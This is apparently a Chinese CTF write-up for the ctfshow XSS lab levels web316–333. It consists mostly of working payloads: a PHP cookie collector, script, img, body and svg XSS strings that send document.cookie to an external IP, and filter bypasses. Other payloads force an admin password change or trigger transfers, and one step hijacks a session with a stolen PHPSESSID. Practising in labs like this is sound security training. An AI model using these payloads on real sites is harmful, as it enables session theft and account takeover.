ctfshow_XSS

参考文献

跨站脚本攻击XSS(最全最细致的靶场实战)_xss靶场-CSDN博客

XSS Platform

web 316

1
2
3
4
5
6
7
8
9
// a/php
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('tmp/flag.txt',$content);
}else{
echo 'no input';
}
?>

记得给权限 chmod -R 777 ./tmp
不然写不进去

1
2
//h1xa
<script>document.location.href='http://156.238.233.102/xss/a.php?1='+document.cookie</script>

网页跳转

web 317

过滤了 <script>
<img> 试试

1
<img src="" onerror=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie>
  1. <img>标签定义了一个图像元素,但是src属性为空,这意味着图像实际上不会被加载。
  2. onerror事件处理器被绑定到这个图像元素上。这个事件会在图像加载失败时触发。
  3. 当图像加载失败(因为src属性为空),onerror事件被触发,执行其中的JavaScript代码。
  4. 触发的JavaScript代码将当前页面的 document.cookie(包含用户的cookie信息)作为查询参数,发送到 http://ip/xss/a.php

web 318 / 319

过滤了 <script> <img>
<body> 试试

1
<body onload=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie>
  1. 当网页加载完成时,body 标签的 onload 事件被触发。
  2. 触发后,执行 location.href 属性的赋值操作,将当前页面的 URL 重定向到一个新的 URL。
  3. 新URL是 http://ip/x.php,后面跟随一个问号 ?,然后是 cookie=,后面拼接上当前页面的cookie值,即 document.cookie

web320-321-过滤空格

使用 tab\ 反斜杠代替空格

1
2
3
4
5
6
7
8
<body/onload=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie>

// Tab版
<body onload=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie>

<body/**/onload="windows.location.href='http://156.238.233.102/xss/a.php?1='+document.cookie"></body>

<svg/onload="location.href='http://156.238.233.102/xss/a.php?1='+document.cookie"/>

web 322

草 322 过滤了 xss 字段 (正好是我的文件夹名 好吧我中招了)

1
2
3
<body	onload=location.href="http://156.238.233.102/tm0/x33.php?1="+document.cookie>

<body/onload=location.href="http://156.238.233.102/tm0/x33.php?1="+document.cookie>

web 323 324 325 326

1
<body/onload=location.href="http://156.238.233.102/tm0/x33.php?1="+document.cookie>

通杀了哈
应该是因为在网页里面提交 会被自动 URLencode 绕过对分号 点等符号的过滤吧

web 327 存储型

( 收件人: admin 别 X 错人了就是说哈哈哈 )

1
<body/onload=location.href="http://156.238.233.102/xss/a.php?1="+document.cookie>

web 328

方法一

想办法提权到密码 / 管理员权限
先注册一个普通用户进入 看到管理员是能够看到其他用户的账号密码的, 也就是说我的账号密码可以用来 X 管理员

  1. 注册账号 密码 (账号或密码是 payload 就行)
    1
    2
    3
    username: choco

    password: <script>document.location.href='http://156.238.233.102/xss/a.php?1='+document.cookie</script>
  2. 等 admin 访问之后, 拿到 cookie( 算是 )
    1
    PHPSESSID=5f3phod1bfefv3kcc9jspjt3m1
  3. 利用这个 PHPSESSID 在插件Cookie_editor 里面修改就行
  4. 不过一瞬间就会跳转到我们的 xss 页面, 这里使用 BP 抓包再慢慢放行就好(或者录屏是不是也行 哈哈) BP 里面也有一个 Cookie: PHPSESSID=5f3phod1bfefv3kcc9jspjt3m1 可以直接手动修改 不需要插件

web 329

同方法可以拿到 admin 的 cookie, 但是管理员每次都会自己登出导致 cookie 失效

变量

本地控制台遍历

1
2
3
$('.laytable-cell-1-0-1').each(function(index,value){
console.log(value.html());
});

遍历

也就是说插入一个遍历脚本, admin 访问时会把 flagXss 给我

脚本

1
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerText.indexOf('ctf'+'show{')>-1){location.href='http://156.238.233.102/xss/a.php?1='+value.innerText}});</script>

一个很有意思的点 'ctf'+'show{'

  1. 如果是 ctfshow 会遍历到脚本自己并返回 导致无效
  2. 如果是 'ctf'+'show' 会遍历到管理员的密码哈哈, 也是一种提权了

web 330

有修改密码的页面
这里可以用 xss 导致管理员自己的密码被修改 从而提权

抓包看看修改密码的数据包路径
GET /api/change.php?p=123456

1
<script>location.href='http://127.0.0.1/api/change.php?p=123';</script>

因为管理员 admin 默认是服务器管理员 , 这里 ip 是 127.0.0.1

web 331

思路跟 330 一样
但是 330 是 GET 请求 修改密码 , 331 是 POST 请求修改代码
change.php => 查看源码 => <script src="js/select.js"></script> => /js/select.js => 找到响应 POST 请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
layui.use('form', function(){

var form = layui.form;
form.on('submit(formChange)', function(data){
var newpass = data.field['p'];

$.ajax({
url:'api/change.php',
type:'post',
data:{
p:newpass
},
success:function(data){
layer.msg(data);
}
});
return false;
});
return true;
});

关键代码

1
$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});

change.php 通过控制台 可以实现 修改密码

脚本

放在账号里面 , 管理员会被 X

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>

web 332

新增汇款 (? )
注册账户有 5 元, 可以花 9999 买一个 flag

逻辑漏洞 , 可以给 admin 转负数金额 从而赚钱

web 333

非预期

21 年修复了转账负金额 , 但是可以给自己转账(无中生有 绷不住了)
爆破得了
但是现在修复了

脚本

admin 钱也不多, 超额了转不出来

1
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'choco',a:'9000'}});</script>